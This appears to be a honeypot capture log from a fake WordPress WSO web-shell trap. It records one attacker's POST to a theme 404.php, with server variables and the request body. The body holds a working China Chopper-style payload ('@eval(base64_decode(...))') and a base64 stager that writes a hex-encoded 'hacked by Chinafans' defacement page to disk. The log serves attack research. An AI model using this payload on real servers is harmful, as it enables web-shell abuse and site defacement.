-
Notifications
You must be signed in to change notification settings - Fork 42
/
Copy path113.244.245.160XWpTwbbVx1wJK0@WUS-gQwAAAAE.wso.scans
60 lines (55 loc) · 8.92 KB
/
113.244.245.160XWpTwbbVx1wJK0@WUS-gQwAAAAE.wso.scans
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
_SERVER
Array
(
[UNIQUE_ID] => XWpTwbbVx1wJK0@WUS-gQwAAAAE
[SCRIPT_URL] => /wp-content/themes/twentytwelve/404.php
[SCRIPT_URI] => http://mail.stratigery.com/wp-content/themes/twentytwelve/404.php
[HTTP_ACCEPT] => image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
[HTTP_REFERER] => http://mail.stratigery.com/wp-content/themes/twentytwelve/404.php
[HTTP_ACCEPT_LANGUAGE] => zh-cn
[CONTENT_TYPE] => application/x-www-form-urlencoded
[CONTENT_LENGTH] => 7175
[HTTP_USER_AGENT] => Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
[HTTP_HOST] => mail.stratigery.com
[HTTP_CACHE_CONTROL] => no-cache
[PATH] => /usr/local/sbin:/usr/local/bin:/usr/bin
[SERVER_SIGNATURE] =>
[SERVER_SOFTWARE] => Apache/2.4.41 (Unix) PHP/7.3.8
[SERVER_NAME] => mail.stratigery.com
[SERVER_ADDR] => 162.246.45.144
[SERVER_PORT] => 80
[REMOTE_ADDR] => 113.244.245.160
[DOCUMENT_ROOT] => /srv/http/stratigery/htdocs
[REQUEST_SCHEME] => http
[CONTEXT_PREFIX] =>
[CONTEXT_DOCUMENT_ROOT] => /srv/http/stratigery/htdocs
[SERVER_ADMIN] => bediger8@gmail.com
[SCRIPT_FILENAME] => /srv/http/stratigery/htdocs/fake_wp/wso.php
[REMOTE_PORT] => 4156
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => POST
[QUERY_STRING] =>
[REQUEST_URI] => /wp-content/themes/twentytwelve/404.php
[SCRIPT_NAME] => /wp-content/themes/twentytwelve/404.php
[PHP_SELF] => /wp-content/themes/twentytwelve/404.php
[REQUEST_TIME_FLOAT] => 1567249345.356
[REQUEST_TIME] => 1567249345
)
_REQUEST
Array
(
[520] => @eval(base64_decode($_POST[z0]));
[z0] => QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==
[z1] => U0NSSVBUX0ZJTEVOQU1FWjo6Ly9vLmh0bQ==
[z2] => 3C68746D6C3E0D0A3C686561643E0D0A3C6D65746120687474702D65717569763D22436F6E74656E742D4C616E67756167652220636F6E74656E743D2261722D6B77223E0D0A3C6D65746120687474702D65717569763D22436F6E74656E742D547970652220636F6E74656E743D22746578742F68746D6C3B20636861727365743D77696E646F77732D31323532223E0D0A3C7469746C653E6861636B6564204279204368696E6166616E733C2F7469746C653E0D0A3C7374796C6520747970653D22746578742F637373223E696D677B6F7061636974793A302E353B2D7765626B69742D7472616E736974696F6E3A616C6C203235306D7320656173653B2D6D6F7A2D7472616E736974696F6E3A616C6C203235306D7320656173653B2D6F2D7472616E736974696F6E3A616C6C203235306D7320656173653B7472616E736974696F6E3A616C6C203235306D7320656173653B7D696D673A686F7665727B6F7061636974793A313B7D74657874617265617B726573697A653A6E6F6E653B7D3C2F7374796C653E0D0A3C6D657461206E616D653D226B6579776F7264732220636F6E74656E743D226861636B6564204279204368696E6166616E73223E0D0A3C6D657461206E616D653D226465736372697074696F6E2220636F6E74656E743D226861636B6564204279204368696E6166616E73223E0D0A3C7374796C653E0D0A413A6C696E6B207B746578742D6465636F726174696F6E3A206E6F6E653B7D0D0A413A616374697665207B746578742D6465636F726174696F6E3A206E6F6E653B7D0D0A2E6175746F2D7374796C6531207B0D0A09636F6C6F723A20234646303030303B0D0A7D0D0A2E6175746F2D7374796C6532207B0D0A09746578742D616C69676E3A2063656E7465723B0D0A7D0D0A2E6175746F2D7374796C6533207B0D0A09636F6C6F723A20233030464633433B0D0A7D0D0A3C2F7374796C653E0D0A3C2F686561643E0D0A3C626F6479206267636F6C6F723D2223313431343134223E0D0A3C64697620616C69676E3D2263656E746572223E0D0A0920202020202020203C703E266E6273703B3C696D67207372633D22687474703A2F2F7069632E73632E6368696E617A2E636F6D2F66696C65732F7069632F706963392F3230313630362F66706963353038342E6A70672220626F726465723D2230222077696474683D2236303022206865696768743D22343030223E3C703E3C2F6469763E0D0A2020202020202020202020203C7370616E207374796C653D22666F6E742D7765696768743A20343030223E0D0A0909093C7020616C69676E3D2263656E746572223E0D0A0909093C7370616E207374796C653D22666F6E742D7765696768743A203730303B206D617267696E3A203070783B2070616464696E673A20307078223E0D0A0909093C666F6E7420636F6C6F723D222346464646464622207374796C653D226D617267696E3A203070783B2070616464696E673A203070782220666163653D22436F6E736F6C6173222073697A653D2236223E0D0A0909093C666F6E742073697A653D22362220666163653D22436F6E736F6C6173223E4368696E6166616E733C2F7370616E3E0D0A0909093C2F7370616E3E0D0A0909093C70206469723D226C74722220616C69676E3D2263656E746572223E3C623E0D0A0909093C666F6E742073697A653D22322220666163653D22436F6E736F6C6173223E4943513C2F666F6E743E3C2F7370616E3E3C2F666F6E743E3C623E3C666F6E7420666163653D22436F6E736F6C6173222073697A653D2232223E3C666F6E7420636F6C6F723D2223464646464646223E203A0D0A0909093C2F666F6E743E0D0A0909093C666F6E7420636F6C6F723D2223303046463030223E3C666F6E742073697A653D22322220666163653D22436F6E736F6C6173223E3731323832333636373C2F666F6E743E3C2F7370616E3E3C2F666F6E743E3C666F6E7420666163653D22436F6E736F6C6173222073697A653D2232223E3C7370616E206C616E673D2261722D7361223E3C666F6E7420636F6C6F723D2223464643393439223E0D0A0909093C2F666F6E743E3C666F6E7420636F6C6F723D2223464646464646223E266E6273703B2D203C2F666F6E743E203C2F7370616E3E0D0A0909093C666F6E7420636F6C6F723D2223464646464646223E536B797065203A203C2F666F6E743E200D0A0909093C2F666F6E743E0D0A0909093C666F6E7420636F6C6F723D2223303046463030223E3C666F6E742073697A653D22322220666163653D22436F6E736F6C6173223E61646D696E66616E733C2F666F6E743E0D0A0909093C2F7370616E3E0D0A0909093C2F666F6E743E3C666F6E7420636F6C6F723D2223464646464646223E266E6273703B2D203C2F666F6E743E203C2F7370616E3E0D0A0909093C666F6E7420636F6C6F723D2223464646464646223E54776974746572203A203C2F666F6E743E200D0A0909093C2F666F6E743E0D0A0909093C666F6E7420636F6C6F723D2223303046463030223E3C666F6E742073697A653D22322220666163653D22436F6E736F6C6173223E307866616E733C2F666F6E743E0D0A0909093C2F7370616E3E0D0A2020202020202020202020203C2F666F6E743E0D0A2020202020202020202020203C666F6E7420666163653D22436F6E736F6C6173222073697A653D2232223E3C7370616E206C616E673D2261722D7361223E3C666F6E7420636F6C6F723D2223464643393439223E0D0A0909093C2F666F6E743E3C666F6E7420636F6C6F723D2223464646464646223E266E6273703B2D203C2F666F6E743E203C2F7370616E3E0D0A0909093C666F6E7420636F6C6F723D2223464646464646223E46616365626F6F6B203A203C2F666F6E743E200D0A0909093C2F666F6E743E0D0A0909093C666F6E7420636F6C6F723D2223303046463030223E3C666F6E742073697A653D22322220666163653D22436F6E736F6C6173223E77657269646F313939363C2F666F6E743E0D0A0909093C2F7370616E3E0D0A0909093C2F703E0D0A0909093C7020616C69676E3D2263656E746572223E0D0A0909093C7370616E207374796C653D22666F6E742D7765696768743A203730303B20223E0D0A2020202020202020202020203C2F666F6E743E0D0A0909093C7020616C69676E3D2263656E746572223E0D0A0909093C7370616E207374796C653D22666F6E742D7765696768743A203730303B20223E0D0A2020202020202020202020203C666F6E7420666163653D22436F6E736F6C61732220636F6C6F723D222346464646464622207374796C653D22666F6E742D73697A653A20377074223E426C6F673A68747470733A2F2F7777772E66616365626F6F6B2E636F6D2F6368696E6166616E737A6F6E65683C2F666F6E743E3C666F6E7420666163653D22436F6E736F6C61732220636F6C6F723D222330303830383022207374796C653D22666F6E742D73697A653A20377074223E0D0A2020202020202020202020203C2F666F6E743E0D0A0909093C7020616C69676E3D2263656E746572223E0D0A0909093C2F666F6E743E0D0A0909093C7020616C69676E3D2263656E746572223E0D0A0909093C7370616E207374796C653D22666F6E742D7765696768743A203730303B20223E0D0A2020202020202020202020203C666F6E7420666163653D22436F6E736F6C61732220636F6C6F723D222346464646464622207374796C653D22666F6E742D73697A653A20377074223E666972656E64733A2069666163746F727978202F20416E6F6E796D6F7573466F783C2F666F6E743E3C666F6E7420666163653D22436F6E736F6C61732220636F6C6F723D222330303830383022207374796C653D22666F6E742D73697A653A20377074223E0D0A2020202020202020202020203C2F666F6E743E0D0A0909093C7020616C69676E3D2263656E746572223E0D0A0909093C7370616E207374796C653D22666F6E742D7765696768743A203730303B20223E0D0A2020202020202020202020203C2F666F6E743E0D0A3C70206469723D226C74722220616C69676E3D2263656E746572223E0D0A3C666F6E7420666163653D225461686F6D612220636F6C6F723D222346464646464622207374796C653D22666F6E742D73697A653A20377074223E0D0A3C2F6469763E0D0A3C696672616D652077696474683D223122206865696768743D223122207372633D2268747470733A2F2F7777772E796F75747562652E636F6D2F656D6265642F624D37535A3553427A79593F6175746F706C61793D3122206672616D65626F726465723D22302220616C6C6F7766756C6C73637265656E207374796C653D226F7061636974793A20303B223E3C2F696672616D653E0D0A3C73637269707420646174612D63666173796E633D2266616C736522207372633D222F63646E2D6367692F736372697074732F35633564643732382F636C6F7564666C6172652D7374617469632F656D61696C2D6465636F64652E6D696E2E6A73223E3C2F7363726970743E3C2F626F64793E0D0A3C2F68746D6C3E
)
_COOKIE
Array
(
)
_FILES
END _FILES
$my_blog=http://mail.stratigery.com/wp-content/themes/twentytwelve
$_REQUEST['z0'] detected. Trying to confirm the recon
Sending ->|z10|<- back to attacker.